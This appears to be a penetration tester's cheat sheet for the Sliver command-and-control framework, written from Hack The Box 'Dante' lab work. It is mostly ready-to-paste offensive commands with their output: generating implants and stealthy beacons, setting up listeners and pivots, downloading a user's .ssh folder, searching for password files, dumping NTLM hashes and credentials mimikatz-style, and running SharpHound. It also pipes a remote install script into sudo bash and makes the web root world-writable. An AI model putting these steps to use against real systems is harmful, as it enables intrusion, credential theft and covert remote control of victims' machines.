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Sliver

Sliver Basics

Installation

apt-get update -y 
apt-get install build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
mkdir sliver 
cd sliver
curl https://sliver.sh/install|sudo bash
  • Assuming /usr/local/bin/ is in your path, your sliver server should be available in the shell as sliver-server and the client as sliver.

Prepare a delivery method

On your C2 server, run systemctl start apache2 to start a web server. You can now copy the implants you generate into the folder /var/www/html and Apache will serve them. To allow any system user to put a payload their, you can run chmod -R 777 /var/www/html.

Generating the implant

Implant generation happens on the C2 server with the generate command. Connect to it and run help generate to read the extensive help page and learn about all the flags. Here is a selection of the most important flags for now:

  • --mtls 192.168.122.111: Specifies that the implant should connect to the Sliver server using a mutually authenticated TLS connection. Other options would be --wg for WireGuard, --http for HTTP(S) connections or --dns for DNS-based C2.
  • --os windows: specifies that we want to run the implant on Windows (which is the default, so we could omit this one). MacOS and Linux are also supported.
  • --arch amd64" specifies that we want a 64-bit implant (also the default, could be omitted). Use --arch 386 for a 32-bit one.
  • --format exe: specifies that we want an executable file (again the default). Other options are --format shared for dynamic libraries, --format service for a Windows service binary (can be used with the psexec command) and shellcode (only windows).
  • --save /var/www/html/: specifies the directory to save the binary to. I like to use the Apache web root.
sliver > generate --mtls 192.168.122.111 --os windows --arch amd64 --format exe --save /var/www/html

Fix Permissions

The file /var/www/html/MEDICAL_CHANGE.exe will not be owned by the Apache system user and has very restrictive file system permissions. To make it accessible for Apache, run sudo chown www-data:www-data /var/www/html/MEDICAL_CHANGE.exe.

Start Listener

Now start the mTLS listener on the C2 server using the mtls command. By default, it starts the listener on port 8888. You can view your listeners with the jobs command:

sliver > mtls

[*] Starting mTLS listener ...
sliver > 
[*] Successfully started job #1

sliver > jobs

 ID   Name   Protocol   Port 
==== ====== ========== ======
 1    mtls   tcp        8888

Transfer Binary to Target

Execute The Binary

  • If all is successful you will see a new session opened
[*] Session 971c5a23 MEDICAL_CHANGE - 192.168.122.160:50051 (DESKTOP-IPQVF9T) - windows/amd64 - Fri, 01 Jul 2022 22:36:48 CEST

Using a session

You can use your session with the use command. Just type it, hit enter, and an interactive prompt will appear that allows to select a session. Hit enter again and your prompt changes to the implant name, which was MEDICAL_CHANGE in my case. The session is now active and ready to accept your commands. With info, you can get more information about the implant:

sliver > use

? Select a session or beacon: SESSION  971c5a23  MEDICAL_CHANGE  192.168.122.160:50051  DESKTOP-IPQVF9T  DESKTOP-IPQVF9T\tester  windows/amd64
[*] Active session MEDICAL_CHANGE (971c5a23-73e0-4418-b9c2-266484546e0d)

sliver (MEDICAL_CHANGE) > info

        Session ID: 971c5a23-73e0-4418-b9c2-266484546e0d
              Name: MEDICAL_CHANGE
          Hostname: DESKTOP-IPQVF9T
              UUID: d512a12c-6b6d-4f19-814e-1f60088e9563
          Username: DESKTOP-IPQVF9T\tester
               UID: S-1-5-21-2966923018-1740081829-2498838087-1001
               GID: S-1-5-21-2966923018-1740081829-2498838087-513
               PID: 7244
                OS: windows
           Version: 10 build 19044 x86_64
              Arch: amd64
         Active C2: mtls://192.168.122.111:8888
    Remote Address: 192.168.122.160:50051
         Proxy URL: 
Reconnect Interval: 1m0s

Sliver implants supports several commands. You can get a full list with help. Features include file system exploration, file up- and downloads, port forwarding, taking screenshots and much more.

Kill Session

sessions 
sessions -k session_id

sliver > sessions

 ID         Transport   Remote Address          Hostname          Username   Operating System   Health  
========== =========== ======================= ================= ========== ================== =========
 971c5a23   mtls        192.168.122.160:50051   DESKTOP-IPQVF9T   tester     windows/amd64      [ALIVE] 

sliver > sessions -k 971c5a23


[!] Lost session 971c5a23 MEDICAL_CHANGE - 192.168.122.160:50051 (DESKTOP-IPQVF9T) - windows/amd64 - Fri, 01 Jul 2022 22:52:53 CEST

Kill Jobs

  • To kill your listener 
[server] sliver > jobs

 ID   Name   Protocol   Port 
==== ====== ========== ======
 1    mtls   tcp        8888 

[server] sliver > jobs -k 1

[*] Killing job #1 ...
[*] Successfully killed job #1
[!] Job #1 stopped (tcp/mtls)

Generating Beaconing implant

Generating a beacon implant is very similar to session implant generation. You use the generate beacon command. Learn all about the flags with help generate beacon. Aside from all the flags discussed above, relevant beacon flags are:

  • --seconds 5: specify that the beacon should contact the C2 server every 5 seconds. You could alternatively use --minutes, --hours or --days.
  • --jitter 3: specify that an additional random delay of up to 3 seconds should be added to the 5 seconds interval.

This is how I generated the beacon:

sliver > generate beacon --mtls 192.168.122.111 --os windows --arch amd64 --format exe --save /var/www/html --seconds 5 --jitter 3

[*] Generating new windows/amd64 beacon implant binary (5s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:18
[*] Implant saved to /var/www/html/STALE_PNEUMONIA.exe

Great Opsec ready beacon 

generate beacon --seconds 1800 --jitter 300  --os linux --arch amd64 --format exe --mtls 10.10.10.10:8080 -k 10000 -t 3600 --name main --save /opt/sliver/main
generate beacon -a amd64 -c google.com -f exe -J 300 -k 3000 --mtls 10.10.10.10:8080 --name main -o linux -j 1800 --save /opt/sliver/main -S 1800 -t 3600

Rename Session / Beacon 

rename --name <newname>

View Beacon Tasks

sliver > beacons

 ID         Name         Transport   Hostname       Username   Operating System   Last Check-In   Next Check-In 
========== ============ =========== ============== ========== ================== =============== ===============
 b3b9f2ee   carter_one   mtls          devel          root       linux/amd64        2m15s           57m47s
  • interact with use
  • view tasks with tasks
  • view output of tasks with task fetch <id>
  • reconfigure an implant to callback at a certain frequency
  • reconfig -i 1800 -j 5m -t 3600 -r 1800s

Sliver Survey

  • Execute the following commands in order upon session opening
info               Get info about session
getgid             Get session process GID
getpid             Get session pid
getuid             Get session process UID
whoami             Get session user execution context
ps                 List remote processes
netstat            Print network connection information
pwd                Print working directory
ls                 List current directory
screenshot         Take a screenshot
getprivs          Get current privileges (Windows only)
  • After this general survey, decide if you want/need (opsec) to migrate to a new process or not.
migrate           Migrate into a remote process
getprivs          Get current privileges (Windows only)

Sliver In-Depth

Generation of implants Quick Paste 

# linux
generate -a amd64 --format exe --mtls 10.10.14.4:8080 --name DANTENIX01 --os linux --save /home/ubuntu/Documents/htb/dante/10.10.110.100/implants
# windows
generate -a amd64 --format exe --mtls 172.16.1.100:8443 --name DANTE-WS01 --os windows --save /home/ubuntu/Documents/htb/dante/172.16.1.13/implants

Create Listener Quick Paste

# mtls listener
mtls -L 10.10.14.2 -l 8080
# pivot listener 
pivots tcp -l 3006 --bind 172.16.1.100 -t 300

Pivots Quick Paste

# linux
generate --tcp-pivot 172.16.1.100:3006 -a amd64 -o linux -s /home/ubuntu/Documents/htb/dante/172.16.1.100.3006.pivot
# windows 
generate --tcp-pivot 172.16.1.100:3006 -a amd64 -o windows -s /home/ubuntu/Documents/htb/dante/172.16.1.100.3006.pivot

Download

  • Recursive Download
  • DANGER -> If you do not set -t <timeout in seconds> and the default timeout for command occurs then your session will die.
  • If you are downloading a large amount of files ensure you set a long timeout to avoid a session being killed
download -r 'C:\Users\katwamba\.ssh'

[*] Wrote 2651 bytes (3 files successfully, 0 files unsuccessfully) to /home/ubuntu/Documents/htb/dante/10.10.110.100/implants/dante-dc01_download_C_Users_katwamba_ssh_1714697939.tar.gz

Port Forward Quick Paste

portfwd add -b 60000 -r 127.0.0.1:4444

[*] Port forwarding 127.0.0.1:60000 -> 127.0.0.1:4444
  • view current port forwards
portfwd

 ID   Session ID                             Bind Address      Remote Address  
==== ====================================== ================= =================
  1   15b59b8a-6954-4230-85e3-5ab927fcedc3   127.0.0.1:4444    127.0.0.1:4444  
  2   15b59b8a-6954-4230-85e3-5ab927fcedc3   127.0.0.1:1900    127.0.0.1:1900  
  3   15b59b8a-6954-4230-85e3-5ab927fcedc3   127.0.0.1:50142   127.0.0.1:50142
  • delete a current port forward
portfwd rm -i 2

Sliver Windows Post Exploitation

  • good finds 
execute -t 120 -o cmd.exe /c "dir c:\*pass* /s"
execute -t 120 -o cmd.exe /c "dir c:\*password* /s"
execute -t 120 -o cmd.exe /c "dir c:\*login* /s"
execute -t 120 -o cmd.exe /c "dir c:\*.key /s"
execute -t 120 -o cmd.exe /c "dir c:\*.ica /s"
execute -t 120 -o cmd.exe /c "dir c:\*.pwd* /s"
execute -t 120 -o cmd.exe /c "dir c:\*.config* /s"
execute -t 120 -o cmd.exe /c "dir c:\*access* /s"
  • passwords in the registry 
execute -o cmd.exe /c 'reg query HKCU /f password /t REG_SZ /s'

Execute-Assembly

execute-assembly -t 80 /home/ubuntu/Downloads/Autoruns64.exe -accepteula

sa-netlocalgroup

  • Coff-loader method of attaining local groups on a windows machines
  • Works on Domain Controllers as well
sa-netlocalgroup
[*] Successfully executed sa-netlocalgroup (coff-loader)
[*] Got output:
Name:      Administrators
Comment:   Administrators have complete and unrestricted access to the computer/domain
--------------------------------
Name:      Users
Comment:   Users are prevented from making accidental or intentional system-wide changes and can run most applications
--------------------------------
Name:      Guests
Comment:   Guests have the same access as members of the Users group by default, except for the Guest account which is further restricted
--------------------------------
--snip--

Hashdump

  • Dump hashes from sliver session
hashdump
[*] Successfully executed hashdump
[*] Got output:
Administrator:500:Administrator:500:aad3b435b51404eeaad3b435b51404ee:3317be94bdf8da53235f825815bda05a:::::
Guest:501:Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::

c2tc-domaininfo

  • Enumerate domain information from a DC
d2tc-domaininfo
[*] Successfully executed c2tc-domaininfo (coff-loader)
[*] Got output:
--------------------------------------------------------------------
[+] DomainName:
    DANTE.local
[+] DomainGuid:
    {BF59501C-28DB-4087-A02D-E6CFA4C2575D}
[+] DnsForestName:
    DANTE.local
[+] DcSiteName:
    Default-First-Site-Name
[+] ClientSiteName:
    Default-First-Site-Name
[+] DomainControllerName (PDC):
    \\DANTE-DC01.DANTE.local
[+] DomainControllerAddress (PDC):
    \\172.16.1.20
[+] Default Domain Password Policy:
    Password history length: 24
    Maximum password age (d): 180
    Minimum password age (d): 0
    Minimum password length: 7
[+] Account Lockout Policy:
    Account lockout threshold: 0
    Account lockout duration (m): 30
    Account lockout observation window (m): 30
[+] NextDc DnsHostName:
    dante-dc01.dante.local

creds_all

  • dump all creds mimikatz style from a Windows machine, works on a domain controller
creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username     Domain  NTLM                              SHA1
--------     ------  ----                              ----
DANTE-DC01$  DANTE   b12ff47444ad1cc6996fd2d681a3f136  dec3493ce38fca341cc189fe2513dd797e19ca85
DANTE-DC01$  DANTE   8e387753e4e7e9901053030a0eafa53f  125870c6bbea628954c8e8767761cc1185622fe7
MediaAdmin$  DANTE   7c53bb427b222695060d8fd771743fb9  10757578eb3902bd612c306bee80bf44da1efaab
katwamba     DANTE   14a71f9de5448d83e8c63d46355837c3  61d3cacf6ad5f4571747b302a9658f7e85c5d516
xadmin       DANTE   649f65054a6672a9898cb4eb61f9684a  b57e3049b5960ed60f1baa679ab0cfd4f68b0b06
--snip--

Sharphound Sliver

sharp-hound-3 -i -s -t 120
sharp-hound-4 -i -s -t 120
[*] sharp-hound-4 output:

[*] Output saved to /tmp/sharp-hound-4_DANTE-DC01884950909.log

download 20240503015529_BloodHound.zip

[*] Wrote 10141 bytes (1 file successfully, 0 files unsuccessfully) to /home/ubuntu/Documents/htb/dante/10.10.110.100/implants/20240503015529_BloodHound.zip
rm 20240503015529_BloodHound.zip

tcpdump capture with sliver

  • make sure to upload a statically compiled tcpdump to match your remote targets arch 
execute -o tcpdump -n -i any "not host 172.16.1.100" -w /dev/shm/out.pcap -G 600